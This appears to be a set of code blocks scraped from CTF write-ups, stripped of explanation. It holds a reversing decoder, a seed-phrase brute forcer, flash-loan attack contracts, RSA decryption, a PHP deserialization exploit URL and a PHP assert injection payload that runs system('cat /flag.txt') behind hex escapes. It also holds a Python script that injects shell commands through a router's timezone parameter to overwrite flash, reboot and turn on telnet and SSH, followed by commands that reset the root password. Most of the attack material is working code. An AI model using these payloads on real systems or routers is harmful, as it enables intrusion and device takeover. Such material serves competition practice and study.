1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

    public void loadClass(String input0) {
        String input1 = encode(input0);
        File dexFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex");
        DexClassLoader dLoader = new DexClassLoader(Uri.fromFile(dexFile).toString(), null, null, ClassLoader.getSystemClassLoader().getParent());
        try {
            Class<?> loadedClass = dLoader.loadClass("fish.hook_fish");
            Object obj = loadedClass.newInstance();
            Method m = loadedClass.getMethod("check", String.class);
            boolean check = ((Boolean) m.invoke(obj, input1)).booleanValue();
            if (check) {
                Toast.makeText(this, "恭喜，鱼上钩了！", 0).show();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public String decode(String boy) {
        try {
            File dexFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex");
            DexClassLoader dLoader = new DexClassLoader(dexFile.getAbsolutePath(), getCacheDir().getAbsolutePath(), null, getClassLoader());
            Class<?> loadedClass = dLoader.loadClass("fish.hook_fish");
            Object obj = loadedClass.newInstance();
            Method decodeMethod = loadedClass.getMethod("decode", String.class);
            return (String) decodeMethod.invoke(obj, boy);
        } catch (Exception e) {
            e.printStackTrace();
            return "Error";
        }
    }

    public String encode(String girl) {
        try {
            File dexFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex");
            DexClassLoader dLoader = new DexClassLoader(dexFile.getAbsolutePath(), getCacheDir().getAbsolutePath(), null, getClassLoader());
            Class<?> loadedClass = dLoader.loadClass("fish.hook_fish");
            Object obj = loadedClass.newInstance();
            Method encodeMethod = loadedClass.getMethod("encode", String.class);
            return (String) encodeMethod.invoke(obj, girl);
        } catch (Exception e) {
            e.printStackTrace();
            return "Error";
        }
    }
}

1

jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

public static String encrypt(String str) {
    byte[] str1 = str.getBytes(); // 把字符串变成bytes
    for (int i = 0; i < str1.length; i++) {
        str1[i] = (byte) (str1[i] + 68); // 变成bytes之前每个字符ASCII加了68
    }
    StringBuilder hexStringBuilder = new StringBuilder();
    for (byte b : str1) {
        hexStringBuilder.append(String.format("%02x", Byte.valueOf(b))); // 把传入的str1变成hex
    }
    String str2 = hexStringBuilder.toString(); // 把hex变成字符串
    char[] str3 = str2.toCharArray(); // 把String转换为char[]数组
    code(str3, 0); // 进行自定义编码
    for (int i2 = 0; i2 < str3.length; i2++) {
        if (str3[i2] >= 'a' && str3[i2] <= 'f') { // 如果为 a ~ f
            str3[i2] = (char) ((str3[i2] - '1') + (i2 % 4)); // 字符与 '1' 相减，再加上 i2 % 4，i2是循环变量
        } else {
            str3[i2] = (char) (str3[i2] + '7' + (i2 % 10)); // 字符与 '7' 相加，再加上 i2 % 10，i2还是循环变量
        }
    }
    Log.d("encrypt: ", new String(str3));
    return new String(str3);
}

private static void code(char[] a, int index) {
    if (index >= a.length - 1) {
        return;
    }
    a[index] = (char) (a[index] ^ a[index + 1]); // 前后异或，设三个数字为a, b, c，此时 a 变成了 c（a ^ b = c）
    a[index + 1] = (char) (a[index] ^ a[index + 1]); // b ^ c = a，此时第二个字符为 a
    a[index] = (char) (a[index] ^ a[index + 1]); // c ^ a = b，此时达到了第一个字符和第二个字符对调的效果
    code(a, index + 2); // 前进两位，下一组
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

class HookFish:
    def __init__(self):
        self.fish_ecode = {}
        self.fish_dcode = {}
        self.encode_map()

    def encode_map(self):
        encode_dict = {
            'a': "iiijj", 'b': "jjjii", 'c': "jijij", 'd': "jjijj", 'e': "jjjjj",
            'f': "ijjjj", 'g': "jjjji", 'h': "iijii", 'i': "ijiji", 'j': "iiiji",
            'k': "jjjij", 'l': "jijji", 'm': "ijiij", 'n': "iijji", 'o': "ijjij",
            'p': "jiiji", 'q': "ijijj", 'r': "jijii", 's': "iiiii", 't': "jjiij",
            'u': "ijjji", 'v': "jiiij", 'w': "iiiij", 'x': "iijij", 'y': "jjiji",
            'z': "jijjj", '1': "iijjl", '2': "iiilj", '3': "iliii", '4': "jiili",
            '5': "jilji", '6': "iliji", '7': "jjjlj", '8': "ijljj", '9': "iljji",
            '0': "jjjli"
        }
        for char, code in encode_dict.items():
            self.fish_ecode[char] = code
            self.fish_dcode[code] = char

    def decode(self, p1):
        decoded_str = []
        for i in range(0, len(p1), 5):
            encoded_char = p1[i:i+5]
            decoded_str.append(self.fish_dcode.get(encoded_char, '?'))
        return ''.join(decoded_str)

def decrypt(encrypted_str):
    def reverse_step4(chars):
        reversed_chars = []
        for i, c in enumerate(chars):
            current_ord = ord(c)
            # 逆向处理 a-f 的情况
            original_ord_case1 = (current_ord - (i % 4)) + ord('1')
            if 97 <= original_ord_case1 <= 102:
                reversed_chars.append(chr(original_ord_case1))
                continue
            # 逆向处理其他字符
            original_ord_case2 = current_ord - ord('7') - (i % 10)
            if 48 <= original_ord_case2 <= 57 or 97 <= original_ord_case2 <= 102:
                reversed_chars.append(chr(original_ord_case2))
            else:
                reversed_chars.append('?')  # 无效占位符
        return reversed_chars

    # 逆向第四步变换
    step3_chars = reverse_step4(list(encrypted_str))
    
    # 逆向 code 函数（交换相邻字符）
    for i in range(0, len(step3_chars)-1, 2):
        step3_chars[i], step3_chars[i+1] = step3_chars[i+1], step3_chars[i]
    
    # 转换十六进制字符串为字节
    try:
        hex_str = ''.join(step3_chars)
        encrypted_bytes = bytes.fromhex(hex_str)
    except ValueError:
        return "Invalid Hex"
    
    # 逆向字节偏移
    original_bytes = bytes([(b - 68) % 256 for b in encrypted_bytes])
    return original_bytes.decode('utf-8', errors='replace')

# 使用示例
hook_fish = HookFish()
encoded_string = "jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji"

raw_encrypted = hook_fish.decode(encoded_string)
print("Encrypted String:", raw_encrypted)

decrypted_flag = decrypt(raw_encrypted)
print("Decrypted Flag:", decrypted_flag)

1
2
3
4
5
6
7
8
9
10
11
12

PS C:\Users\GamerNoTitle> nc 156.238.233.119 10001
Help Ekko find the best timeline.馃槑馃槑馃槑
Trigger the isSolved() function to obtain the flag.

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 1
[+] deployer account: 0x6117596A833B37eEC24D83F2b9C741513542a1c1
[+] token: v4.local.EYCF2NyWEjGP50HEnmDWq2sKlUNk7st51_QohF4zNKsWniY5F8zi3PzskjBmZFTwMdyQ8fOtKqzGUmLrrer5PMh9fFSf7iLlKgQmKOSa_pHvrj4lua2lTKPaZfkgG-b_Z7g5ac85Jkm9kpcxTfexOC2CVAOH_10xzOL2g3hOgRvu5A.RWtrb1RpbWVSZXdpbmQ
[+] please transfer more than 0.001 test ether to the deployer account for next step

1
2
3
4
5
6
7
8
9
10
11
12

PS C:\Users\GamerNoTitle> nc 156.238.233.119 10001
Help Ekko find the best timeline.馃槑馃槑馃槑
Trigger the isSolved() function to obtain the flag.

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 2
[-] input your token: v4.local.EYCF2NyWEjGP50HEnmDWq2sKlUNk7st51_QohF4zNKsWniY5F8zi3PzskjBmZFTwMdyQ8fOtKqzGUmLrrer5PMh9fFSf7iLlKgQmKOSa_pHvrj4lua2lTKPaZfkgG-b_Z7g5ac85Jkm9kpcxTfexOC2CVAOH_10xzOL2g3hOgRvu5A.RWtrb1RpbWVSZXdpbmQ
[+] contract address: 0xCDF40E3392f49Bc985B06A30269f75035C7001AE
[+] transaction hash: 0xded23a521c51c77838cc35e0c1019f1873e5db8ff6c8bf7bd3dd967c22a351c6

1

ramp ranch twenty you only space define fashion high laundry carpet muscle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

import itertools
from mnemonic import Mnemonic
from eth_account import Account
from eth_utils.exceptions import ValidationError
from tqdm import tqdm
from concurrent.futures import ThreadPoolExecutor, as_completed

# 启用HD钱包功能
Account.enable_unaudited_hdwallet_features()

# 给定的12个助记词
mnemonic_words = "ramp ranch twenty you only space define fashion high laundry carpet muscle".split()

# 目标地址
target_address = '0x114514d3CEc0bB872349a98e21526DbA041F08a9'

# 初始化助记词处理工具
mnemo = Mnemonic('english')

# 函数：生成钱包地址
def generate_address_from_mnemonic(mnemonic_words):
    try:
        mnemonic_phrase = ' '.join(mnemonic_words)
        # 验证助记词是否有效
        if not mnemo.check(mnemonic_phrase):
            return None
        seed = mnemo.to_seed(mnemonic_phrase, passphrase="")
        # 使用EthAccount生成钱包
        acct = Account.from_mnemonic(mnemonic_phrase)
        return acct.address.lower()
    except ValidationError:
        return None

# 处理每个排列组合
def process_permutation(perm):
    address = generate_address_from_mnemonic(perm)
    if address == target_address:
        return perm
    return None

# 使用线程池执行多线程任务
with ThreadPoolExecutor() as executor:
    # 创建tqdm进度条
    progress_bar = tqdm(itertools.permutations(mnemonic_words), desc="Testing permutations", total=12*11*10*9*8*7*6*5*4*3*2*1)
    
    # 提交任务并处理结果
    for perm in progress_bar:
        future = executor.submit(process_permutation, perm)
        result = future.result()
        progress_bar.update(1)
        if result:
            print(f"Found correct sequence: {result}")
            break
    else:
        print("No matching address found.")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

PS F:\CTF\Workspace\VNCTF2025\Echo Flowers\dict> strings *.bin
SGCM(
SGCP(
SGHW(
SGKC$
SGLB(
SGPA(
SGPF(
SGTG(
SGQG(
SGBU(
SGMU(
SGPU(
SGBG(
SGAU(
SGAB(
SLDA(
SGNU(

1
2
3
4
5
6
7
8
9
10
11
12
13

PS F:\CTF\Workspace\VNCTF2025\Echo Flowers\dict> strings --encoding=b *
ranch
only
space
define
laundry
carpet
muscle
ramp
high
twenty
couch
fashion

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
    function flashLoan(uint256 amount, address token) external;
    function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
    function getPrice(uint256 ammIndex) external view returns (uint256);
    function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
    function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack {
    address public token0;
    address public token1;
    address public token2;
    address public dex;
    address public profitReceiver;

    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external override {
        token0 = _token0;
        token1 = _token1;
        token2 = _token2;
        dex = _dex;
        profitReceiver = _profitReceiver;

        // 借入5000 USDT进行攻击
        uint256 loanAmount = 5000 ether;
        ISimpleDEX(dex).flashLoan(loanAmount, token0);
    }

    function executeOperation(uint256 amount, address token) external {
        require(msg.sender == dex, "Unauthorized");
        require(token == token0, "Invalid token");

        // 授权DEX使用借入的USDT
        IIERC20(token0).approve(dex, amount);

        // 在池0中将USDT兑换为VNB
        ISimpleDEX(dex).swap(0, amount, true);

        // 在池1中将VNB兑换为WMB
        uint256 vnbBalance = IIERC20(token1).balanceOf(address(this));
        IIERC20(token1).approve(dex, vnbBalance);
        ISimpleDEX(dex).swap(1, vnbBalance, true);

        // 在池2中将WMB兑换为USDT
        uint256 wmbBalance = IIERC20(token2).balanceOf(address(this));
        IIERC20(token2).approve(dex, wmbBalance);
        ISimpleDEX(dex).swap(2, wmbBalance, false);

        // 将利润转给profitReceiver
        uint256 currentBalance = IIERC20(token0).balanceOf(address(this));
        require(currentBalance >= amount, "无法偿还贷款");
        uint256 profit = currentBalance - amount;
        IIERC20(token0).transfer(profitReceiver, profit);

        // 授权DEX取回贷款
        IIERC20(token0).approve(dex, amount);
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
    function flashLoan(uint256 amount, address token) external;
    function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
    function getPrice(uint256 ammIndex) external view returns (uint256);
    function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
    function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack {
    address public token0;
    address public token1;
    address public token2;
    address public dex;
    address public profitReceiver;

    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external override {
        token0 = _token0;
        token1 = _token1;
        token2 = _token2;
        dex = _dex;
        profitReceiver = _profitReceiver;

        // 借入5000 USDT进行攻击
        uint256 loanAmount = 5000 ether;
        ISimpleDEX(dex).flashLoan(loanAmount, token0);
    }

    function executeOperation(uint256 amount, address token) external {
        require(msg.sender == dex, "Unauthorized");
        require(token == token0, "Invalid token");

        // 授权DEX使用借入的USDT
        IIERC20(token0).approve(dex, amount);

        // 在池0中将USDT兑换为VNB
        ISimpleDEX(dex).swap(0, amount, true);

        // 在池1中将VNB兑换为WMB
        uint256 vnbBalance = IIERC20(token1).balanceOf(address(this));
        IIERC20(token1).approve(dex, vnbBalance);
        ISimpleDEX(dex).swap(1, vnbBalance, true);

        // 在池2中将WMB兑换为USDT
        uint256 wmbBalance = IIERC20(token2).balanceOf(address(this));
        IIERC20(token2).approve(dex, wmbBalance);
        ISimpleDEX(dex).swap(2, wmbBalance, false);

        // 将利润转给profitReceiver
        uint256 currentBalance = IIERC20(token0).balanceOf(address(this));
        require(currentBalance >= amount, "无法偿还贷款");
        uint256 profit = currentBalance - amount;
        IIERC20(token0).transfer(profitReceiver, profit);

        // 授权DEX取回贷款
        IIERC20(token0).approve(dex, amount);
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
    function flashLoan(uint256 amount, address token) external;
    function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
    function getPrice(uint256 ammIndex) external view returns (uint256);
    function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
    function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack {
    address public token0;
    address public token1;
    address public token2;
    address public dex;
    address public profitReceiver;
    uint256 public loanAmount;

    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver)
        external
    {
        token0 = _token0;
        token1 = _token1;
        token2 = _token2;
        dex = _dex;
        profitReceiver = _profitReceiver;
        loanAmount = IIERC20(token0).balanceOf(dex); // Get the maximum loanable amount

        ISimpleDEX(dex).flashLoan(loanAmount, token0);
    }
    function executeOperation(uint256 amount, address token) external{
        require(msg.sender == dex, "Unauthorized");
        require(token == token0, "Wrong token");
        require(amount == loanAmount, "Wrong Amount");

        IIERC20(token0).approve(dex, loanAmount);
        // 1. Swap USDT for VNB (ammIndex 0)
        ISimpleDEX(dex).swap(0, amount, true);

        // 2. Swap VNB for WMB (ammIndex 1)
        uint256 vnbBalance = IIERC20(token1).balanceOf(address(this));
        IIERC20(token1).approve(dex, vnbBalance);
        ISimpleDEX(dex).swap(1, vnbBalance, true);

        // 3. Swap WMB for USDT (ammIndex 2)
        uint256 wmbBalance = IIERC20(token2).balanceOf(address(this));
        IIERC20(token2).approve(dex, wmbBalance);
        ISimpleDEX(dex).swap(2, wmbBalance, true);

        // Transfer profit to profitReceiver
        uint256 profit = IIERC20(token0).balanceOf(address(this)) - amount;
        IIERC20(token0).transfer(profitReceiver, profit);

    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

// Attack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
    function flashLoan(uint256 amount, address token) external;
    function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
    function getPrice(uint256 ammIndex) external view returns (uint256);
    function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
    function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack { 
    address token0;
    address token1;
    address token2;
    address dex;
    address profitReceiver;

    uint256 flashLoanAmount = 1000 ether; // Flash loan amount (adjustable)

    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver)
        external
    {
        token0 = _token0;
        token1 = _token1;
        token2 = _token2;
        dex = _dex;
        profitReceiver = _profitReceiver;

        // Step 1: Flash loan from SimpleDEX (borrow USDT)
        ISimpleDEX(dex).flashLoan(flashLoanAmount, token0); // Borrow 1000 USDT
    }

    // This function is called by the SimpleDEX during flash loan callback
    function executeOperation(uint256 amount, address token) external {
        require(msg.sender == dex, "Unauthorized");

        // Step 2: Perform triangular arbitrage
        // 1. Swap USDT (token0) to VNB (token1)
        uint256 price0 = ISimpleDEX(dex).getPrice(0); // Get price of USDT -> VNB
        uint256 amountOut1 = (flashLoanAmount * price0) / 1e18; // Amount of VNB received
        ISimpleDEX(dex).swap(0, flashLoanAmount, true); // Swap USDT to VNB

        // 2. Swap VNB (token1) to WMB (token2)
        uint256 price1 = ISimpleDEX(dex).getPrice(1); // Get price of VNB -> WMB
        uint256 amountOut2 = (amountOut1 * price1) / 1e18; // Amount of WMB received
        ISimpleDEX(dex).swap(1, amountOut1, true); // Swap VNB to WMB

        // 3. Swap WMB (token2) to USDT (token0)
        uint256 price2 = ISimpleDEX(dex).getPrice(2); // Get price of WMB -> USDT
        uint256 amountOut3 = (amountOut2 * price2) / 1e18; // Amount of USDT received
        ISimpleDEX(dex).swap(2, amountOut2, false); // Swap WMB to USDT

        // Step 3: Repay the flash loan
        require(IIERC20(token).balanceOf(address(this)) >= amount, "Insufficient funds to repay loan");
        IIERC20(token).transfer(msg.sender, amount); // Repay the flash loan

        // Step 4: Check if profit was made
        uint256 profit = IIERC20(token).balanceOf(profitReceiver);
        require(profit > flashLoanAmount, "No profit made"); // Ensure profit was made
    }
}

1
2
3
4
5
6

qemu-system-x86_64 \
    -kernel bzImage \
    -initrd rootfs.cpio \
    -append "root=/dev/ram console=ttyS0" \
    -nographic \
    -m 512M

1
2
3
4
5
6
7
8

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 500 x 500, 8-bit/color RGB, non-interlaced
91            0x5B            Zlib compressed data, compressed
6026          0x178A          Zip archive data, at least v2.0 to extract, compressed size: 176354316, uncompressed size: 194462208, name: flag1.txt
176360381     0xA830BBD       Zip archive data, at least v2.0 to extract, compressed size: 177965008, uncompressed size: 194462208, name: flag2.txt
354325610     0x151E946A      End of Zip archive, footer length: 22

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

> .\yafu-x64.exe "factor(5732964453789005656202220060994030976008462483974106949360656685503394408870148542074882576415254144726130307660083216338644162341371153570939410807509529736550955786833199064934462338627066079768583784202430670910414267735660410263928222190505796540741350380322668323892350238595203793241016675647281909665554496069021)"                                                                                                                 

fac: factoring 5732964453789005656202220060994030976008462483974106949360656685503394408870148542074882576415254144726130307660083216338644162341371153570939410807509529736550955786833199064934462338627066079768583784202430670910414267735660410263928222190505796540741350380322668323892350238595203793241016675647281909665554496069021
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
div: primes less than 10000
fmt: 1000000 iterations
rho: x^2 + 3, starting 1000 iterations on C319
rho: x^2 + 2, starting 1000 iterations on C319
rho: x^2 + 1, starting 1000 iterations on C319
pm1: starting B1 = 150K, B2 = gmp-ecm default on C319
ecm: 0/30 curves on C319, B1=2K, B2=gmp-ecm default
Total factoring time = 6.6378 seconds


***factors found***

P11 = 55307187311
P309 = 103656771073020760439195064547476730316137744551269049245190907471917206440166579782534885819575395415394790074431077161645902639551988653305960753877352961030077065869924492442328429921104546038565837134484082911066593974377139886587211847564818509899677121556066185755492617417642299839879063555427130002611

ans = 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

from sympy import mod_inverse

n = 5732964453789005656202220060994030976008462483974106949360656685503394408870148542074882576415254144726130307660083216338644162341371153570939410807509529736550955786833199064934462338627066079768583784202430670910414267735660410263928222190505796540741350380322668323892350238595203793241016675647281909665554496069021
e = 65537
c = 984765936167568915783737736704322867611565848218162635654661946159274680387765479436495629732147881246546457348407235796531559724831194942893739549488239267819251236343133592127393904508787113965976179961040457169804920173316042295428577459093103897018392603409275993459118346734697394691845258237102468061273125331821
p = 55307187311
q = 103656771073020760439195064547476730316137744551269049245190907471917206440166579782534885819575395415394790074431077161645902639551988653305960753877352961030077065869924492442328429921104546038565837134484082911066593974377139886587211847564818509899677121556066185755492617417642299839879063555427130002611

print(p * q == n)

# 计算私钥 d
phi_n = (p - 1) * (q - 1)
d = mod_inverse(e, phi_n)

# 解密
m = pow(c, d, n)

# 输出解密结果
print("解密后的消息:", m)
decoded_message = bytearray.fromhex(hex(m)[2:]).decode()
print(decoded_message)

1
2
3
4

PS C:\Users\HelloCTF_OS\Desktop\GDUTCTF> python .\RSA\dec.py 
True
解密后的消息: 56006392793427444397469159507968818734487760249840566044504304603998891915995068783011778052460000893
flag{a878b5d5-4118-4402-a1d0-599c47ecbab6}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

<?php
error_reporting(0);
class Handle{
    private $handle;

    public function __construct($handle) {
        $this->handle = $handle;
    }
    public function __destruct(){
        $this->handle->getFlag();
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;

    function __construct($file){
        $this->file = $file;
        $this->token_flag = $this->token = md5(rand(1,10000));
    }

    public function getFlag(){
        $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
        {
            if(isset($this->file)){
                echo @highlight_file($this->file,true);
            }
        }
    }
}

if (isset($_GET['exp'])) {
    unserialize($_GET['exp']);
} else {
    show_source(__FILE__);
}

1

http://39.104.22.62:13459/?exp=O:6:%22Handle%22:1:%7Bs:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:%7Bs:4:%22file%22;s:9:%22/flag%22;s:5:%22token%22;s:32:%2208b7dc6e8b36bcaac15847827b7951a9%22;s:10:%22token_flag%22;R:4;%7D%7D

1

http://39.104.22.62:13459/?exp=O:6:%22Handle%22:1:%7Bs:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:%7Bs:4:%22file%22;s:9:%22/flag.txt%22;s:5:%22token%22;s:32:%2208b7dc6e8b36bcaac15847827b7951a9%22;s:10:%22token_flag%22;R:4;%7D%7D

1
2
3
4
5
6
7
8

<?php 
highlight_file(__FILE__);
if (isset($_POST['data'])){
    $data = $_POST['data'];
    if (!preg_match('/flag|cat|\?|\*|&|\||nl|tac|system|exec|\`|head|tail/i', $data)){
        assert("strpos('$data', 'data') === true");
    }
}

1

data=hello')%20or%20print(assert("\x73\x79\x73\x74\x65\x6D('\x63\x61\x74\x20\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74')"));//

1

data=hello') or print(assert("\x73\x79\x73\x74\x65\x6D('\x63\x61\x74\x20\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74')"));//

1

hello')

1

or print(assert("..."));//

1

"\x73\x79\x73\x74\x65\x6D('\x63\x61\x74\x20\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74')"

1

assert("strpos('hello') or print(assert("system('cat /flag.txt')"));//', 'data') === true");

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

import httpx

host = "http://192.168.31.1"

# First time
stok = input("请输入第一次的stok: ")

BASE = host + "/cgi-bin/luci/;stok="

MTD_WRITE_ROUTE = "/api/misystem/set_sys_time?timezone=%20%27%20%3B%20zz%3D%24%28dd%20if%3D%2Fdev%2Fzero%20bs%3D1%20count%3D2%202%3E%2Fdev%2Fnull%29%20%3B%20printf%20%27%A5%5A%25c%25c%27%20%24zz%20%24zz%20%7C%20mtd%20write%20-%20crash%20%3B%20"
REBOOT_ROUTE = "/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20"
ENABLE_TALNET_ROUTE = "/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20set%20telnet_en%3D1%20%3B%20bdata%20set%20ssh_en%3D1%20%3B%20bdata%20set%20uart_en%3D1%20%3B%20bdata%20commit%20%3B%20"

response = httpx.get(BASE + stok + MTD_WRITE_ROUTE)
print(response.json())
response = httpx.get(BASE + stok + REBOOT_ROUTE)
print(response.json())

# Second time
stok = input("请输入第二次的stok: ")
response = httpx.get(BASE + stok + ENABLE_TALNET_ROUTE)
print(response.json())
response = httpx.get(BASE + stok + REBOOT_ROUTE)
print(response.json())

1

$ echo -e 'admin\nadmin' | passwd root

1
2
3
4
5
6
7
8
9

bdata set boot_wait=on
bdata commit
nvram set ssh_en=1
nvram set telnet_en=1
nvram set uart_en=1
nvram set boot_wait=on
nvram commit
sed -i 's/channel=.*/channel="debug"/g' /etc/init.d/dropbear
/etc/init.d/dropbear restart

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100